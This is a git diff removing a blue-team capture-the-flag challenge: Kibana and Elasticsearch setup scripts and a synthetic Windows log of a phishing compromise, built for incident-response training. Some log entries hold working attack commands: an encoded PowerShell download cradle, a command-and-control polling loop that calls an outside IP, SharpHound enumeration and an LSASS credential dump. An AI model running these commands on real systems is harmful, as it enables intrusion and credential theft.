[["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"bool\":{\"should\":[{\"match\":{\"event_id\":4720}},{\"match\":{\"event_id\":4728}},{\"match\":{\"event_id\":4742}},{\"match\":{\"event_id\":4764}},{\"match\":{\"event_id\":5136}}]}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Process Access (Sysmon 10) ───────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/process-access" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🔍 Process Access (Sysmon Event 10)", - "columns": ["@timestamp","host","user","source_process","target_process","call_trace","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":10}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -log "✅ Kibana initialized! Index pattern and saved searches are ready." -log "Access Kibana at http://localhost:5601" diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py b/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py deleted file mode 100644 index b4e25e3..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -""" -Injecte les logs CTF dans Elasticsearch via l'API bulk. -Remplace le file input Logstash qui est peu fiable en conteneur. -""" -import json -import sys -import time -import urllib.request -import urllib.error - -ES_URL = "http://localhost:9200" -LOG_FILE = "/opt/ctf-logs-src/corp_incident.json" -INDEX = "dfir-incident-2024.03.15" - -FIELD_MAP = { - "WIN-ACCT01": "192.168.10.45", - "APP-SRV01": "192.168.10.52", - "DC01": "192.168.10.10", -} - -def wait_for_es(): - print("[INJECT] Waiting for Elasticsearch...") - while True: - try: - r = urllib.request.urlopen(f"{ES_URL}/_cluster/health", timeout=5) - data = json.loads(r.read()) - if data.get("status") in ("green", "yellow"): - print("[INJECT] Elasticsearch is up!") - return - except Exception: - pass - time.sleep(3) - -def inject(): - with open(LOG_FILE, "r") as f: - lines = [l.strip() for l in f if l.strip()] - - print(f"[INJECT] Injecting {len(lines)} documents into {INDEX}...") - - bulk_body = [] - for line in lines: - try: - doc = json.loads(line) - except json.JSONDecodeError as e: - print(f"[INJECT] Skipping bad line: {e}") - continue - - # Enrichissement - doc["environment"] = "corp.local" - doc["domain"] = "CORP" - doc["ctf_scenario"] = "DFIR-Incident-2024-03-15" - host = doc.get("host", "") - if host in FIELD_MAP: - doc["host_ip"] = FIELD_MAP[host] - - bulk_body.append(json.dumps({"index": {"_index": INDEX}})) - bulk_body.append(json.dumps(doc)) - - payload = "\n".join(bulk_body) + "\n" - req = urllib.request.Request( - f"{ES_URL}/_bulk", - data=payload.encode("utf-8"), - headers={"Content-Type": "application/x-ndjson"}, - method="POST" - ) - r = urllib.request.urlopen(req, timeout=30) - resp = json.loads(r.read()) - if resp.get("errors"): - errors = [i for i in resp["items"] if i.get("index", {}).get("error")] - print(f"[INJECT] {len(errors)} errors during bulk insert") - for e in errors[:3]: - print(f"[INJECT] {e}") - else: - print(f"[INJECT] Successfully injected {len(lines)} documents!") - -if __name__ == "__main__": - wait_for_es() - inject() - print("[INJECT] Done.") diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json b/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json deleted file mode 100644 index d37d068..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json +++ /dev/null @@ -1,224 +0,0 @@ -{"@timestamp":"2026-03-15T06:45:01.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T06:46:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"explorer.exe","parent_process":"userinit.exe","command_line":"C:\\Windows\\explorer.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:47:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\m.martin\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:48:05.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T06:50:12.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T06:52:33.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account logon for IIS","category":"Authentication"} -{"@timestamp":"2026-03-15T06:53:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"w3wp.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\inetsrv\\w3wp.exe -ap DefaultAppPool","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:55:14.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Health check inbound from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T06:57:00.000Z","event_id":4624,"host":"DC01","user":"CORP\\srv_dc","logon_type":5,"source_ip":"127.0.0.1","description":"NETLOGON service logon on DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:00:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested for LDAP","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:02:11.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE budget_2026.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:04:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:05:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:06:14.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:07:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"172.217.18.142","dst_port":443,"protocol":"TCP","description":"Chrome HTTPS outbound to Google","category":"Network"} -{"@timestamp":"2026-03-15T07:09:00.000Z","event_id":4648,"host":"WIN-ACCT01","user":"p.bernard","target_user":"p.bernard","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon to APP-SRV01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:09:30.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard from workstation","category":"Authentication"} -{"@timestamp":"2026-03-15T07:10:01.000Z","event_id":4688,"host":"APP-SRV01","user":"p.bernard","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\web.config","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:12:03.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:13:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:14:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:15:10.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"142.250.74.46","dst_port":443,"protocol":"TCP","description":"HTTPS outbound Chrome","category":"Network"} -{"@timestamp":"2026-03-15T07:16:00.000Z","event_id":4769,"host":"DC01","user":"j.dupont","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:17:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52","description":"RDP client launched toward APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T07:17:40.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:18:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"excel.exe","parent_process":"rdpclip.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE report_march.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:20:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:21:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online HTTPS outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:22:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE /n \"C:\\Users\\j.dupont\\AppData\\Local\\Temp\\Rapport_Q1_2026.docx\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:45.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"winword.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY3QgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIANAAzAC4AMQAxADUALgAyADMALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:48.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:22:49.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -ExecutionPolicy Bypass -File C:\\Users\\j.dupont\\AppData\\Roaming\\update.ps1","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:23:01.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE rapport_rh.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:26:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:27:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Where-Object {$_.Status -eq 'Running'}","description":"Legitimate admin PowerShell command","category":"Process"} -{"@timestamp":"2026-03-15T07:28:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"SharpHound.exe","parent_process":"powershell.exe","command_line":"SharpHound.exe -c All --zipfilename loot.zip","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:28:15.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:16.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:17.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":636,"protocol":"LDAPS","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:29:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T07:29:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:30:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"msiexec.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\msiexec.exe /i patch_kb5030219.msi /quiet","description":"Scheduled Windows Update installation","category":"Process"} -{"@timestamp":"2026-03-15T07:30:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"rundll32.exe","parent_process":"powershell.exe","command_line":"rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 624 C:\\Windows\\Temp\\lsass.dmp full","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:30:25.000Z","event_id":10,"host":"WIN-ACCT01","user":"j.dupont","source_process":"rundll32.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T07:31:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:32:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:33:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:34:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"gpupdate.exe","parent_process":"cmd.exe","command_line":"gpupdate /force","description":"GPO update forced by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:35:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB","category":"Network"} -{"@timestamp":"2026-03-15T07:35:14.000Z","event_id":4648,"host":"WIN-ACCT01","user":"j.dupont","target_user":"svc_backup","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon attempt","category":"Authentication"} -{"@timestamp":"2026-03-15T07:35:18.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":3,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:36:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T07:37:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADUser -Filter * | Select-Object Name,SamAccountName","description":"Legitimate AD query by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:39:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T07:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:41:00.000Z","event_id":4688,"host":"APP-SRV01","user":"m.martin","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\config.xml","description":"Config file viewed","category":"Process"} -{"@timestamp":"2026-03-15T07:42:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS request from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:43:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dsa.msc","parent_process":"mmc.exe","command_line":"dsa.msc","description":"Active Directory Users and Computers console opened","category":"Process"} -{"@timestamp":"2026-03-15T07:44:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:45:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"iisreset.exe","parent_process":"cmd.exe","command_line":"iisreset /restart","description":"IIS restart scheduled maintenance","category":"Process"} -{"@timestamp":"2026-03-15T07:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service re-logon after IIS restart","category":"Authentication"} -{"@timestamp":"2026-03-15T07:47:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"216.58.213.142","dst_port":443,"protocol":"TCP","description":"HTTPS to Google services","category":"Network"} -{"@timestamp":"2026-03-15T07:48:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T07:49:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE contrat_fournisseur.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:51:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:52:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Get-Process | Sort-Object CPU -Descending | Select-Object -First 10","description":"Legitimate admin PS command via RDP","category":"Process"} -{"@timestamp":"2026-03-15T07:53:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication SMB to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T07:54:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01 for GPO","category":"Authentication"} -{"@timestamp":"2026-03-15T07:55:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:56:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:57:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:58:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring health check HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T07:59:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T08:00:00.000Z","event_id":4688,"host":"APP-SRV01","user":"f.petit","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:05:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:06:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online connection","category":"Network"} -{"@timestamp":"2026-03-15T08:08:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:11:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.50","description":"Network logon from monitoring server","category":"Authentication"} -{"@timestamp":"2026-03-15T08:12:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":389,"protocol":"LDAP","description":"LDAP query from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T08:15:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE rapport_ventes_mars.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:16:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:20:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Restart-Service -Name W3SVC","description":"IIS restart via PowerShell","category":"Process"} -{"@timestamp":"2026-03-15T08:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":8080,"protocol":"TCP","description":"HTTP inbound request","category":"Network"} -{"@timestamp":"2026-03-15T08:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon j.dupont","category":"Authentication"} -{"@timestamp":"2026-03-15T08:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:26:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -c \"$c=[System.Net.WebClient]::new();while($true){$r=$c.DownloadString('http://185.243.115.23/cmd');if($r -ne ''){Invoke-Expression $r};Start-Sleep 300}\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:32:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:35:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"repadmin.exe","parent_process":"cmd.exe","command_line":"repadmin /replsummary","description":"Replication status check by admin","category":"Process"} -{"@timestamp":"2026-03-15T08:37:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account periodic logon","category":"Authentication"} -{"@timestamp":"2026-03-15T08:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} 